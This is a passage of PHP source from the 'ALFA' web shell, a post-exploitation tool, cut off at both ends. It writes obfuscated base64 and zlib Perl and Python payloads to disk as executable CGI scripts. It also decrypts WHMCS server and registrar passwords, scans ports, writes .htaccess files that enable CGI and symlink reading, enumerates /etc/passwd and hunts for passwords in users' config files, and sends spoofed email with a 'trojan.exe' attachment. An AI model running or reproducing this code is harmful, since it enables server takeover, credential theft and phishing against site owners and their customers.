HJOdgig6urHSzc/HUq70sRIpbwR6WVLhr7FKwSTThleZFGog3jCxFpaNcTWEGqzD33Fkx2prU2FvkVVPo16439EIJoDFfvvfYf++3/ddv/ujYt/bHeKSJZMF8/obtQLC22KPftQQyaR3kbDR6QnN3m1jJfhdhQtlt2iJDRcAl6jYY5z0M2OkDBZHZH9k+O9smE7Z+SNjl4dUzOWRoOLYk0FHk0erKGCTSEEiwTabOzTYv1HPyYD0jKF8vcjj+xFAA3A+l224/DOB3s9Pfm827XvuFBvhz0nnWTW7tMTCiLyLc9g6Hto43Kt7dMCAtDnmQ8s2+WPGdt2BI+WBjFN6mX2BuR7+sVlB0etYX8AZRR4A30OYdxsO2FfBENyAqUCZk9i1MICuAktySLQx4QKHX2DLy6SHGmAd9hBYQNDt4E7Nt2tvQC1KMLv8+Aaqc7/qn7bF9xaqdewItsgEvKNtLfQwV+xAy/SDPwEUlijgn4FcdIY4nc6+u6zmiDikHI5nmpSE94YiO2wpXYCnKPXa+VwFJenZcI7sNukpEkcYoF4yEHbHb8VbD+W9xK3/2CKj8QzwekJV4Q8GjRVk7KcqjKA7L35QpDTRC+waBAaD3YyliTlH6NvK5pX1O+FFzTpW7PzpH4KQUPej8Dmkr8vef+3t7zMvG73cfVDvGKPLY3WL5xgw0tuTVnOP3GEdamb1VlcDXW4zkgZAb2qNlCSHToTlf8QGGNE+lKh8IXpkbtU74KtWrfS4ZOFwB0FjCTpkGVrJouVBMlCgJJR1dkOKtKCXiEkcwLSAvS9xPPOHRh8qcAq68XixU0/I4fr4bWbESusf5GeVV/hzl2biLd7NAeDBJSS/QeJT7sJdw/4GihJ34rxzu0D4rmyCJoECmt57DrHPqOpYEXeWVfQhJQo2HXTr8/7vefi5XLSnNysOCqNs5GSm0CtTeC8yxYn8cEmz5LIcA4BHV0iZcH+MDG0mwRR3EM9pZTkNJ7RDutB8YfY9uHOrTiCA/0FfzFrMEUwhpPa3LUDcIJJPgxFgLktdbOUxh28ERXnb9rPWlExBEc4irmEjlH6Cqfuz/9Ai61ddBze9WAKolh5cX3KGrOodWA8yVNfzZnvT2gqalV4l+7GqF2NQ2iM2Y/PA3KleW9Jej8jVWYlhxXX8JOWzdmSFeHSKu7no7u6hux6v/QhOlXE+Y/nU+3o9aPjKJ/a7ICgEweSO46A6wWJbkvp0yoUNvZr/sXZzJfpus97HI2bM6NimQ0oo3ZWD6/S7+USkZiBg65/9GhEHw/juYcdpur76eM3MUFnFvg5VdIAJUBQCQSQk6ARA2Fcw8+7K1Or2M4p1WDJWToPxoqm9eAa+D0SG5cc+2FHqjbNatJUKASduszhiV55d3yVbEiORCTGM6IX7lTzBjYHhiZWZ7BxrfML3JWMlxvWtsrOPteOm1vuC4PLo7PJ9Oz/dMxHDNru73CGF+8G19sMZqna1Jex9iaTN0ShIdW7aKISmUcEjDcFtOZuJyVp2kfr8C0xqD9AFaAWPJSoIH6QV1ufsCTdGMN40XFwbyhAl4TvHezJ37gZk/xxgkvz2CwgBOivO75LoF9n0LGv3lFqi5oOzWovdHehMEDR4nKPdQPiFuv6S6F6qtY4aKSWwGV+V9xjWT8wbQ3rXsnHLy/wXvfv9RRth3DfVFPjhqmLO73WuIw4J/KBqGGQ5xmBn0cx/SRGD+k5YOHuomaMUUDqgKybUCySYOI0TD5tqjGYFoKL4dKksY3maP3uzrJEphJ/CWDoqKLygCiRTqorMaMUqdPc92qLqvKBPiLcawbU0+Pen3QLo9frfX9k4tTcQ3qtprb35b14ytFQd0of/EfDcD2s9Or8g3v6chnaouLKwWUmLvbemPi0SdkxrCxPgJWU3XgxRvQ1I1MvE1VCaBN8QC7AWndRnGsMlJo+GU13GzKFLLK+JQxtpLaSEbt1lfHJLt1b1Kz/w8wblS+FRoAAA==\")));";
$py = "#!/usr/bin/python\nimport zlib, base64\neval(compile(zlib.decompress(base64.b64decode(\"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\")),'<string>','exec'))";
if ($_POST['alfa1'] == 'perl') {
$code = $perl;
} else {
$code = $py;
}
if (__write_file($name, $code)) {
@chmod($name, 0755);
echo "<iframe src=\"ALFA_DATA/cgialfa/" . $name . '" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>';
}
}
echo $div;
alfafooter();
}
function alfaWhmcs()
{
alfahead();
echo "<div class=header>";
function decrypt($string, $cc_encryption_hash)
{
$key = md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash);
$hash_key = _hash($key);
$hash_length = strlen($hash_key);
$string = __ZGVjb2Rlcg($string);
$tmp_iv = substr($string, 0, $hash_length);
$string = substr($string, $hash_length, strlen($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length) {
$iv .= chr(ord($tmp_iv[$c]) ^ ord($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen($string)) {
if ($c != 0 and $c % $hash_length == 0) {
$key = _hash($key . substr($out, $c - $hash_length, $hash_length));
}
$out .= chr(ord($key[$c % $hash_length]) ^ ord($string[$c]));
++$c;
}
return $out;
}
function _hash($string)
{
if (function_exists('sha1')) {
$hash = sha1($string);
} else {
$hash = md5($string);
}
$out = '';
$c = 0;
while ($c < strlen($hash)) {
$out .= chr(hexdec($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
AlfaNum(8, 9, 10);
echo "<center><br><div class='txtfont_header'>| WHMCS DeCoder |</div><p>" . getConfigHtml('whmcs') . "</p><form onsubmit=\"g('Whmcs',null,this.form_action.value,'decoder',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\">\r\n<input type='hidden' name='form_action' value='2'>";
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'cc_encryption_hash : ', 'inputName' => 'cc_encryption_hash', 'id' => 'cc_encryption_hash', 'inputValue' => '', 'inputSize' => '50'));
create_table($table);
echo "<p><input type='submit' value=' ' name='Submit'></p></form></center>";
if ($_POST['alfa5'] != '') {
$db_host = $_POST['alfa7'];
$db_username = $_POST['alfa3'];
$db_password = $_POST['alfa4'];
$db_name = $_POST['alfa5'];
$cc_encryption_hash = $_POST['alfa6'];
echo __pre();
$conn = @mysqli_connect($db_host, $db_username, $db_password, $db_name) or die(mysqli_error($conn));
$query = mysqli_query($conn, "SELECT * FROM tblservers");
$num = mysqli_num_rows($query);
if ($num > 0) {
for ($i = 0; $i <= $num - 1; $i++) {
$v = @mysqli_fetch_array($query);
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo "<center><table border='1'>";
$password = decrypt($v['password'], $cc_encryption_hash);
echo "<tr><td><b><font color=\"#FFFFFF\">Type</font></td><td>{$type}</td></tr></b>";
echo "<tr><td><b><font color=\"#FFFFFF\">Active</font></td><td>{$active}</td></tr></b>";
echo "<tr><td><b><font color=\"#FFFFFF\">Hostname</font></td><td>{$hostname}</td></tr></b>";
echo "<tr><td><b><font color=\"#FFFFFF\">Ip</font></td><td>{$ipaddress}</td></tr></b>";
echo "<tr><td><b><font color=\"#FFFFFF\">Username</font></td><td>{$username}</td></tr></b>";
echo "<tr><td><b><font color=\"#FFFFFF\">Password</font></td><td>{$password}</td></tr></b>";
echo "</table><br><br></center>";
}
$query1 = @mysqli_query($conn, "SELECT * FROM tblregistrars");
$num1 = @mysqli_num_rows($query1);
if ($num1 > 0) {
for ($i = 0; $i <= $num1 - 1; $i++) {
$v = mysqli_fetch_array($query1);
$registrar = $v['registrar'];
$setting = $v['setting'];
$value = decrypt($v['value'], $cc_encryption_hash);
if ($value == "") {
$value = 0;
}
echo "<center>Domain Reseller <br><center>";
echo "<center><table border='1'>";
echo "<tr><td><b><font color=\"#67ABDF\">Register</font></td><td>{$registrar}</td></tr></b>";
echo "<tr><td><b><font color=\"#67ABDF\">Setting</font></td><td>{$setting}</td></tr></b>";
echo "<tr><td><b><font color=\"#67ABDF\">Value</font></td><td>{$value}</td></tr></b>";
echo "</table><br><br></center>";
}
}
} else {
__alert('<font color="red">tblservers is Empty...!</font>');
}
}
echo "</div>";
alfafooter();
}
function alfaportscanner()
{
alfahead();
echo "<div class=header><center><p><div class=\"txtfont_header\">| Port Scaner |</div></p>\r\n<form action=\"\" method=\"post\" onsubmit=\"g('portscanner',null,null,this.start.value,this.end.value,this.host.value); return false;\">\r\n<input type=\"hidden\" name=\"y\" value=\"phptools\">\r\n<div class=\"txtfont\">Host: </div> <input id=\"text\" type=\"text\" name=\"host\" value=\"localhost\"/>\r\n<div class=\"txtfont\">Port start: </div> <input id=\"text\" size=\"5\" type=\"text\" name=\"start\" value=\"80\"/>\r\n<div class=\"txtfont\">Port end: </div> <input id=\"text\" size=\"5\" type=\"text\" name=\"end\" value=\"80\"/> <input type=\"submit\" value=\" \" />\r\n</form></center><br>";
$start = strip_tags($_POST['alfa2']);
$end = strip_tags($_POST['alfa3']);
$host = strip_tags($_POST['alfa4']);
if (isset($_POST['alfa4']) && is_numeric($_POST['alfa3']) && is_numeric($_POST['alfa2'])) {
echo __pre();
$packetContent = "GET / HTTP/1.1\r\n\r\n";
if (ctype_xdigit($packetContent)) {
$packetContent = @pack("H*", $packetContent);
} else {
$packetContent = str_replace(array("\r", "\n"), "", $packetContent);
$packetContent = str_replace(array("\\r", "\\n"), array("\r", "\n"), $packetContent);
}
for ($i = $start; $i <= $end; $i++) {
$sock = @fsockopen($host, $i, $errno, $errstr, 3);
if ($sock) {
stream_set_timeout($sock, 5);
fwrite($sock, $packetContent . "\r\n\r\n\x00");
$counter = 0;
$maxtry = 1;
$bin = "";
do {
$line = fgets($sock, 1024);
if (trim($line) == "") {
$counter++;
}
$bin .= $line;
} while ($counter < $maxtry);
fclose($sock);
echo "<center><p>Port <font style='color:#DE3E3E'>{$i}</font> is open</p>";
echo "<p><textarea style='height:140px;width:50%;'>" . $bin . "</textarea></p></center>";
}
flush();
}
}
echo "</div>";
alfafooter();
}
function alfacgihtaccess($m, $d = '', $symname = false)
{
$readme = "";
if ($symname) {
$readme = "\nReadmeName " . trim($symname);
}
if ($m == 'cgi') {
$code = "#Coded By Sole Sad & Invisible\nOptions FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .alfa\nAddHandler cgi-script .alfa";
} elseif ($m == 'sym') {
$code = "#Coded By Sole Sad & Invisible\nOptions Indexes FollowSymLinks\nDirectoryIndex solevisible.phtm\nAddType text/plain php html php4 phtml\nAddHandler text/plain php html php4 phtml{$readme}\nOptions all";
} elseif ($m == 'shtml') {
$code = "Options +Includes\nAddType text/html .shtml\nAddHandler server-parsed .shtml";
}
@__write_file($d . ".htaccess", $code);
}
function alfabasedir()
{
alfahead();
echo "<div class=header>\r\n<center><p><div class=\"txtfont_header\">| Open Base Dir |</div></p></center>";
$passwd = _alfa_file('/etc/passwd');
if (is_array($passwd)) {
$users = array();
$makepwd = alfaMakePwd();
$basedir = @ini_get('open_basedir');
$safe_mode = @ini_get('safe_mode');
if (_alfa_can_runCommand(true, false) && ($basedir || $safe_mode)) {
$bash = "fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E/cwgDL/N+M+/yQjxbJ+KO3d4/rHjNusGpZL2DmEITTP/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA/X7gePk3UtIPiddMe2dOe8wQN7NP";
$tmp_path = alfaWriteTocgiapi("basedir.alfa", $bash);
$bash_users = alfaEx("cd " . $tmp_path . "/alfacgiapi;sh basedir.alfa " . $makepwd, false, true, true);
$users = json_decode($bash_users, true);
$x = count($users);
if ($x >= 2) {
array_pop($users);
--$x;
}
}
if (!$basedir && !$safe_mode) {
$x = 0;
foreach ($passwd as $str) {
$pos = strpos($str, ':');
$username = substr($str, 0, $pos);
$dirz = str_replace("{user}", $username, $makepwd);
if ($username != '') {
if (@is_readable($dirz)) {
array_push($users, $username);
$x++;
}
}
}
}
echo "<br><br>";
echo "<b><font color=\"#00A220\">[+] Founded " . sizeof($passwd) . " entrys in /etc/passwd\n" . "<br /></font></b>";
echo "<b><font color=\"#FFFFFF\">[+] Founded " . $x . " readable " . str_replace("{user}", "*", $makepwd) . " directories\n" . "<br /></font></b>";
echo "<b><font color=\"#FF0000\">[~] Searching for passwords in config files...\n\n<br /><br /><br /></font></b>";
foreach ($users as $user) {
if (empty($user)) {
continue;
}
$path = str_replace("{user}", $user, $makepwd);
echo "<form method=post onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>{$user}</b></font><font color=#FFFF01> ::..</font></font></span><br><input class='foottable' type=text name=c value='{$path}'><input type=submit value='>>'></form><br>";
}
} else {
echo "<b> <center><font color=\"#FFFFFF\">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>";
}
echo "<br><br></b>";
echo "</div>";
alfafooter();
}
function alfamail()
{
alfahead();
echo "<div class=header>";
AlfaNum(8, 9, 10);
echo "<center><p><div class=\"txtfont_header\">| Fake Mail |</div></p><form action=\"\" method=\"post\" onsubmit=\"g('mail',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,'>>',this.mail_content.value,this.count_mail.value,this.mail_attach.value); return false;\">";
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mail To : ', 'inputName' => 'mail_to', 'inputValue' => 'target@fbi.gov', 'inputSize' => '60', 'placeholder' => true), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'From : ', 'inputName' => 'mail_from', 'inputValue' => 'sec@google.com', 'inputSize' => '60', 'placeholder' => true), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Subject : ', 'inputName' => 'mail_subject', 'inputValue' => 'your site hacked by me', 'inputSize' => '60'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Attach File : ', 'inputName' => 'mail_attach', 'inputValue' => $GLOBALS['cwd'] . 'trojan.exe', 'inputSize' => '60'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Count Mail : ', 'inputName' => 'count_mail', 'inputValue' => '1', 'inputSize' => '60'));
create_table($table);
echo "<p><div class=\"txtfont\">Message:</div></p><textarea rows=\"6\" cols=\"60\" name=\"mail_content\">Hi Dear Admin :)</textarea><p><input type=\"submit\" value=\" \" name=\"mail_send\" /></p></form></center>";
if (isset($_POST['alfa4']) && $_POST['alfa4'] == '>>') {
$mail_to = $_POST['alfa1'];
$mail_from = $_POST['alfa2'];
$mail_subject = $_POST['alfa3'];
$mail_content = $_POST['alfa5'];
$count_mail = (int) $_POST['alfa6'];
$mail_attach = $_POST['alfa7'];
if (filter_var($mail_to, FILTER_VALIDATE_EMAIL)) {
if (!empty($mail_attach) && @is_file($mail_attach)) {
$file = $mail_attach;
$content = __read_file($file);
$content = chunk_split(__ZW5jb2Rlcg($content));
$uid = md5(uniqid(time()));
$filename = basename($file);
$headers = "From: " . $mail_from . " <" . $mail_from . ">\r\n";
$headers .= "To: " . $mail_to . " ( " . $mail_to . " ) \r\n";
$headers .= "Reply-To: " . $mail_from . "\r\n";
$headers .= "Content-Type: multipart/mixed; boundary=\"" . $uid . "\"\r\n\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "X-Mailer: php\r\n";
$mail_content = "--" . $uid . "\r\n";
$mail_content .= "Content-type:text/plain; charset=iso-8859-1\r\n";
$mail_content .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
$mail_content .= $mail_content . "\r\n\r\n";
$mail_content .= "--" . $uid . "\r\n";
$mail_content .= "Content-Type: application/octet-stream; name=\"" . $filename . "\"\r\n";
$mail_content .= "Content-Transfer-Encoding: base64\r\n";
$mail_content .= "Content-Disposition: attachment; filename=\"" . $filename . "\"\r\n\r\n";
$mail_content .= $content . "\r\n\r\n";
$mail_content .= "--" . $uid . "--";
} else {
$headers = "From: " . $mail_from . " ( " . $mail_from . " ) \r\n";
$headers .= "To: " . $mail_to . " ( " . $mail_to . " ) \r\n";
$headers .= 'Reply-To: ' . $mail_from . '' . "\r\n";
$headers .= "Content-type: text/html; charset=utf-8\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "X-Mailer: php\r\n";
}
if (empty($count_mail) || $count_mail < 1) {
$count_mail = 1;
}
if (!empty($mail_from)) {
echo __pre();
for ($i = 1; $i <= $count_mail; $i++) {
if (@mail($mail_to, $mail_subject, $mail_content, $headers)) {
echo "<center>Sent -> {$mail_to}<br></center>";
}
}
} else {
__alert("Invalid Mail From !");
}
} else {
__alert("Invalid Mail To !");
}
}
echo "</div>";
alfafooter();
}
function alfaziper()
{
alfahead();
AlfaNum(8, 9, 10);
echo '<div class=header><p><center><p><div class="txtfont_header">| Compressor |</div></p>
<form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">Dir/File: </div> <input type="text" name="dirzip" value="' . (!empty($_POST['alfa3']) ? htmlspecialchars($_POST['alfa3']) : htmlspecialchars($GLOBALS['cwd'])) . '" size="60"/>
<div class="txtfont">Save Dir: </div> <input type="text" name="zipfile" value="' . $GLOBALS['cwd'] . 'alfa.zip" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>';
if (isset($_POST['alfa5']) && $_POST['alfa5'] == '>>') {
$dirzip = $_POST['alfa3'];
$zipfile = $_POST['alfa4'];
if ($GLOBALS['sys'] != 'unix' && _alfa_can_runCommand(true, true)) {
alfaEx("powershell Compress-Archive -Path '" . addslashes($dirzip) . "' -DestinationPath '" . addslashes(basename($zipfile)) . "'");
echo __pre() . '<center><p>Done -> <b><font color="green">' . $zipfile . '</font></b></p></center>';
} elseif ($GLOBALS['sys'] == 'unix' && _alfa_can_runCommand(true, true)) {
alfaEx("cd '" . addslashes(dirname($zipfile)) . "';zip -r '" . addslashes(basename($zipfile)) . "' '" . addslashes($dirzip) . "'");
echo __pre() . '<center><p>Done -> <b><font color="green">' . $zipfile . '</font></b></p></center>';
} elseif (class_exists('ZipArchive')) {
if (__alfaziper($dirzip, $zipfile)) {
echo __pre() . '<center><p><font color="green">Success...!<br>' . $zipfile . '</font></p></center>';
} else {
echo __pre() . '<center><p><font color="red">ERROR!!!...</font></p></center>';
}
}
}
echo "</div>";
alfafooter();
}
function __alfaziper($source, $destination)
{
if (!extension_loaded('zip') || !file_exists($source)) {
return false;
}
$zip = new ZipArchive();
if (!$zip->open($destination, ZIPARCHIVE::CREATE)) {
return false;
}
$source = str_replace('\\', '/', realpath($source));
if (is_dir($source) === true) {
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
foreach ($files as $file) {
$file = str_replace('\\', '/', $file);
if (in_array(substr($file, strrpos($file, '/') + 1), array('.', '..'))) {
continue;
}
$file = realpath($file);
if (is_dir($file) === true) {
$zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
} else {
if (is_file($file) === true) {
$zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
}
}
}
} else {
if (is_file($source) === true) {
$zip->addFromString(basename($source), file_get_contents($source));
}
}
return $zip->close();
}
function alfadeziper()
{
alfahead();
AlfaNum(8, 9, 10);
echo '<div class=header><p><center><p><div class="txtfont_header">| DeCompressor |</div></p>
<form onSubmit="g(\'deziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">File: </div> <input type="text" name="dirzip" value="' . (!empty($_POST['alfa3']) ? htmlspecialchars($_POST['alfa3']) : htmlspecialchars($GLOBALS['cwd'])) . '" size="60"/>
<div class="txtfont">Extract To: </div> <input type="text" name="zipfile" value="' . $GLOBALS['cwd'] . '" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>';
if (isset($_POST['alfa5']) && $_POST['alfa5'] == '>>') {
$dirzip = $_POST['alfa3'];
$zipfile = $_POST['alfa4'];
if (@(!is_dir($zipfile))) {
@mkdir($zipfile, 0777, true);
}
$finfo = "";
$file_type = "";
if (function_exists('finfo_open')) {
$finfo = @finfo_open(FILEINFO_MIME_TYPE);
$file_type = @finfo_file($finfo, $dirzip);
@finfo_close($finfo);
} else {
if ($GLOBALS['sys'] == 'unix' && _alfa_can_runCommand(true, true)) {
$file_type = alfaEx('file -b --mime-type ' . $dirzip);
}
}
if ($GLOBALS['sys'] != 'unix' && _alfa_can_runCommand(true, true)) {
alfaEx("powershell expand-archive -path '" . addslashes($dirzip) . "' -destinationpath '" . addslashes(basename($zipfile)) . "'");
echo __pre() . '<center><p>Done -> <b><font color="green">' . $zipfile . '</font></b></p></center>';
} elseif ($GLOBALS['sys'] == 'unix' && !empty($file_type) && _alfa_can_runCommand(true, true) && (strlen(alfaEx('which unzip')) > 0 || strlen(alfaEx('which tar')) > 0 || strlen(alfaEx('which gunzip')) > 0)) {
switch ($file_type) {
case 'application/zip':
alfaEx("cd '" . addslashes($zipfile) . "';unzip '" . addslashes($dirzip) . "'");
break;
case 'application/x-tar':
case 'application/x-gzip':
case 'application/x-gtar':
if (strstr(basename($dirzip), ".tar.gz") || strstr(basename($dirzip), ".tar")) {
alfaEx("cd '" . addslashes($zipfile) . "';tar xzf '" . addslashes($dirzip) . "'");
} else {
alfaEx("cd '" . addslashes($zipfile) . "';gunzip '" . addslashes($dirzip) . "'");
}
break;
}
echo __pre() . '<center><p>Done -> <b><font color="green">' . $zipfile . '</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\'' . $zipfile . '\');">[ View Folder ]</a></b></p></center>';
} elseif (class_exists('ZipArchive')) {
$itsok = false;
if (emtpy($file_type)) {
$file_type = "application/zip";
}
switch ($file_type) {
case 'application/zip':
$zip = new ZipArchive();
$res = $zip->open($dirzip);
if ($res) {
$zip->extractTo($zipfile);
$zip->close();
$itsok = true;
}
break;
case 'application/x-tar':
case 'application/x-gzip':
case 'application/x-gtar':
if (strstr(basename($dirzip), ".tar.gz")) {
$new_file = $zipfile . '/' . basename($dirzip);
@copy($dirzip, $new_file);
$new_tar = str_replace(".tar.gz", ".tar", $new_file);
try {
$p = new PharData($new_file);
$p->decompress();
$phar = new PharData($new_tar);
$phar->extractTo($zipfile);
@unlink($new_file);
@unlink($new_tar);
$itsok = true;
} catch (Exception $e) {
}
} else {
try {
$phar = new PharData($dirzip);
$phar->extractTo($zipfile);
$itsok = true;
} catch (Exception $e) {
}
}
break;
}
if ($itsok) {
echo __pre() . '<center><p><font color="green">Success...!<br>' . $zipfile . '</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\'' . $zipfile . '\');">[ View Folder ]</a></p></center>';
} else {
echo __pre() . '<center><p><font color="red">ERROR!!!...</font></p></center>';
}
}
}
echo "</div>";
alfafooter();
}
function alfacmshijacker()
{
alfahead();
AlfaNum(5, 6, 7, 8, 9, 10);
echo "<div class=header><br>\r\n<center><div class=\"txtfont_header\">| Cms Hijacker |</div><br><br><form onSubmit=\"g('cmshijacker',null,this.cmshi.value,this.saveto.value,'>>',this.cmspath.value);return false;\" method='post'>\r\n<div class=\"txtfont\">CMS: <select style=\"width:100px;\" name=\"cmshi\">";
$cm_array = array("vb" => "vBulletin", "wp" => "wordpress", "jom" => "joomla", "whmcs" => "whmcs", "mybb" => "mybb", "ipb" => "ipboard", "phpbb" => "phpbb");
foreach ($cm_array as $key => $val) {
echo '<option value="' . $key . '">' . $val . '</option>';
}
echo "</select>";
echo ' Path installed cms: <input size="50" type="text" name="cmspath" placeholder="ex: /home/user/public_html/vbulletin/">
SaveTo: <input size="50" type="text" name="saveto" value="' . $GLOBALS['cwd'] . 'alfa.txt"></font>
<input type="submit" name="btn" value=" "></form></center><br>';
$cms = $_POST['alfa1'];
